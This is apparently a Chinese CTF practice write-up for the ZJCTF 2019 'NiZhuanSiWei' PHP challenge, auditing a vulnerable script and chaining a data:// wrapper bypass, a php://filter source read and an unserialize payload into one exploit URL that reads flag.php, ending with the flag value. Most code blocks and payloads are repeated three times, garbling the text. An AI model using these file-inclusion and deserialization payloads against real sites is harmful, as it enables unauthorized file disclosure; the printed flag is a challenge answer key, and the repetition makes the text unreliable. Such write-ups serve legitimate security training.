[ZJCTF 2019]NiZhuanSiWei – buu刷题笔记

进入题目链接

直接就是一段代码需要审计

 <?php  
$text = $_GET[\"text\"];
$file = $_GET[\"file\"];
$password = $_GET[\"password\"];
if(isset($text)&&(file_get_contents($text,\'r\')===\"welcome to the zjctf\")){
    echo \"<br><h1>\".file_get_contents($text,\'r\').\"</h1></br>\";
    if(preg_match(\"/flag/\",$file)){
        echo \"Not now!\";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 
 <?php  
$text = $_GET[\"text\"];
$file = $_GET[\"file\"];
$password = $_GET[\"password\"];
if(isset($text)&&(file_get_contents($text,\'r\')===\"welcome to the zjctf\")){
    echo \"<br><h1>\".file_get_contents($text,\'r\').\"</h1></br>\";
    if(preg_match(\"/flag/\",$file)){
        echo \"Not now!\";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 
 <?php  
$text = $_GET[\"text\"];
$file = $_GET[\"file\"];
$password = $_GET[\"password\"];
if(isset($text)&&(file_get_contents($text,\'r\')===\"welcome to the zjctf\")){
    echo \"<br><h1>\".file_get_contents($text,\'r\').\"</h1></br>\";
    if(preg_match(\"/flag/\",$file)){
        echo \"Not now!\";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

这道题考点：php伪协议

第一个绕过：（data伪协议写入文件）

if(isset($text)&&(file_get_contents($text,\'r\')===\"welcome to the zjctf\"))
if(isset($text)&&(file_get_contents($text,\'r\')===\"welcome to the zjctf\"))
if(isset($text)&&(file_get_contents($text,\'r\')===\"welcome to the zjctf\"))

这里需要我们传入text且其内容为welcome to the zjctf，然后用data协议来执行PHP代码

构造payload：
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
构造payload：

text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
构造payload：

text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

一般情况是需要base64加密的，为了绕过某些过滤

第二个绕过：（php://filter用于读取源码）

$file = $_GET[\"file\"];
if(preg_match(\"/flag/\",$file)){
        echo \"Not now!\";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
$file = $_GET[\"file\"];
if(preg_match(\"/flag/\",$file)){
        echo \"Not now!\";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
$file = $_GET[\"file\"];
if(preg_match(\"/flag/\",$file)){
        echo \"Not now!\";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }

filter伪协议来读源码，同样使用base64编码

构造payload：
file=php://filter/read=convert.base64-encode/resource=useless.php
构造payload：

file=php://filter/read=convert.base64-encode/resource=useless.php
构造payload：

file=php://filter/read=convert.base64-encode/resource=useless.php

进行base64解码得

<?php  
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo \"<br>\";
        return (\"U R SO CLOSE !///COME ON PLZ\");
        }  
    }  
}  
?>  
<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo \"<br>\";
        return (\"U R SO CLOSE !///COME ON PLZ\");
        }  
    }  
}  
?>  
<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo \"<br>\";
        return (\"U R SO CLOSE !///COME ON PLZ\");
        }  
    }  
}  
?>  

第三个绕过：（反序列化）

进行测试就可以了

<?php  
class Flag{  //flag.php  
    public $file=\"flag.php\";  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo \"<br>\";
        return (\"U R SO CLOSE !///COME ON PLZ\");
        }  
    }  
}  
$a = new Flag();
echo serialize($a);
?>
<?php  
class Flag{  //flag.php  
    public $file=\"flag.php\";  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo \"<br>\";
        return (\"U R SO CLOSE !///COME ON PLZ\");
        }  
    }  
}  
$a = new Flag();
echo serialize($a);
?>
<?php  
class Flag{  //flag.php  
    public $file=\"flag.php\";  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo \"<br>\";
        return (\"U R SO CLOSE !///COME ON PLZ\");
        }  
    }  
}  
$a = new Flag();
echo serialize($a);
?>

结果：
O:4:\"Flag\":1:{s:4:\"file\";s:8:\"flag.php\";}
结果：

O:4:\"Flag\":1:{s:4:\"file\";s:8:\"flag.php\";}
结果：

O:4:\"Flag\":1:{s:4:\"file\";s:8:\"flag.php\";}

构造最终的payload：

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:\"Flag\":1:{s:4:\"file\";s:8:\"flag.php\";}
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:\"Flag\":1:{s:4:\"file\";s:8:\"flag.php\";}
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:\"Flag\":1:{s:4:\"file\";s:8:\"flag.php\";}

flag在源码里

所以最终flag为

flag{48f43da1-7c83-4f28-bf71-ddfb42ff3b1e}
flag{48f43da1-7c83-4f28-bf71-ddfb42ff3b1e}
flag{48f43da1-7c83-4f28-bf71-ddfb42ff3b1e}